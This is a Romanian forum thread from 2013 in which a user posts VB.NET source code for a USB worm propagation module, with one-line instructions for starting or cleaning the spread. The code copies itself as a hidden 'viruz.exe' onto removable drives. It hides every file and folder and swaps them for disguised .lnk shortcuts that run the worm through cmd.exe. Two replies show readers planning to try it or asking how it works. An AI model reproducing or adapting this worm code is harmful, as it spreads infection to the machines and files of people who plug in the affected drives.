ka0z Posted March 6, 2013 Report Share Posted March 6, 2013 how to usedim o as new usbif you want to spread .....>o.startif you want to clean .....>o.cleancredits to njq8Public Class USB ' bY njq8 Private Off As Boolean = False Dim thread As Threading.Thread = Nothing Public ExeName As String = "viruz.exe" Public Sub Start() If thread Is Nothing Then thread = New Threading.Thread(AddressOf usb, 1) thread.Start() End If End Sub Public Sub clean() Off = True Do Until thread Is Nothing Threading.Thread.CurrentThread.Sleep(1) Loop For Each x As IO.DriveInfo In IO.DriveInfo.GetDrives Try If x.IsReady Then If x.DriveType = IO.DriveType.Removable Or _ x.DriveType = IO.DriveType.CDRom Then If IO.File.Exists(x.Name & ExeName) Then IO.File.SetAttributes(x.Name _ & ExeName, IO.FileAttributes.Normal) IO.File.Delete(x.Name & ExeName) End If For Each xx As String In IO.Directory.GetFiles(x.Name) Try IO.File.SetAttributes(xx, IO.FileAttributes.Normal) If xx.ToLower.EndsWith(".lnk") Then IO.File.Delete(xx) End If Catch ex As Exception End Try Next For Each xx As String In IO.Directory.GetDirectories(x.Name) Try With New IO.DirectoryInfo(xx) .Attributes = IO.FileAttributes.Normal End With Catch ex As Exception End Try Next End If End If Catch ex As Exception End Try Next End Sub Sub usb() Off = False Do Until Off = True For Each x In IO.DriveInfo.GetDrives Try If x.IsReady Then If x.TotalFreeSpace > 0 And x.DriveType = IO.DriveType _ .Removable Or x.DriveType = IO.DriveType.CDRom Then Try If IO.File.Exists(x.Name & ExeName) Then IO.File.SetAttributes(x.Name & ExeName, IO.FileAttributes.Normal) End If IO.File.Copy(Application.ExecutablePath, x.Name & ExeName, True) IO.File.SetAttributes(x.Name & ExeName, IO.FileAttributes.Hidden) For Each xx As String In IO.Directory.GetFiles(x.Name) If IO.Path.GetExtension(xx).ToLower <> ".lnk" And _ xx.ToLower <> x.Name.ToLower & ExeName.ToLower Then IO.File.SetAttributes(xx, IO.FileAttributes.Hidden) IO.File.Delete(x.Name & New IO.FileInfo(xx).Name & ".lnk") With CreateObject("WScript.****************l").CreateShortcut _ (x.Name & New IO.FileInfo(xx).Name & ".lnk") .TargetPath = "cmd.exe" .WorkingDirectory = "" .Arguments = "/c start " & ExeName.Replace(" ", ChrW(34) _ & " " & ChrW(34)) & "&start " & New IO.FileInfo(xx) _ .Name.Replace(" ", ChrW(34) & " " & ChrW(34)) & " & exit" .IconLocation = GetIcon(IO.Path.GetExtension(xx)) .Save() End With End If Next For Each xx As String In IO.Directory.GetDirectories(x.Name) IO.File.SetAttributes(xx, IO.FileAttributes.Hidden) IO.File.Delete(x.Name & New IO.DirectoryInfo(xx).Name & " .lnk") With CreateObject("WScript.****************l") _ .CreateShortcut(x.Name & IO.Path.GetFileNameWithoutExtension(xx) & " .lnk") .TargetPath = "cmd.exe" .WorkingDirectory = "" .Arguments = "/c start " & ExeName.Replace(" ", ChrW(34) _ & " " & ChrW(34)) & "&explorer /root,""%CD%" & New _ IO.DirectoryInfo(xx).Name & """ & exit" .IconLocation = "%SystemRoot%\system32\****************L32.dll,3" '< folder icon .Save() End With Next Catch ex As Exception End Try End If End If Catch ex As Exception End Try Next Threading.Thread.CurrentThread.Sleep(5000) Loop thread = Nothing End Sub Function GetIcon(ByVal ext As String) As String Try Dim r = Microsoft.Win32.Registry _ .LocalMachine.OpenSubKey("Software\Classes\", False) Dim e As String = r.OpenSubKey(r.OpenSubKey(ext, False) _ .GetValue("") & "\DefaultIcon\").GetValue("", "") If e.Contains(",") = False Then e &= ",0" Return e Catch ex As Exception Return "" End Try End FunctionEnd Class Quote Link to comment Share on other sites More sharing options...
Maximus Posted March 7, 2013 Report Share Posted March 7, 2013 am sa pun in practica, revin cu un edit Quote Link to comment Share on other sites More sharing options...
yoyois Posted March 8, 2013 Report Share Posted March 8, 2013 Any explanation how it works? Incerc sa-i dau de cap dar nu prea reusesc... cand se executa? Quote Link to comment Share on other sites More sharing options...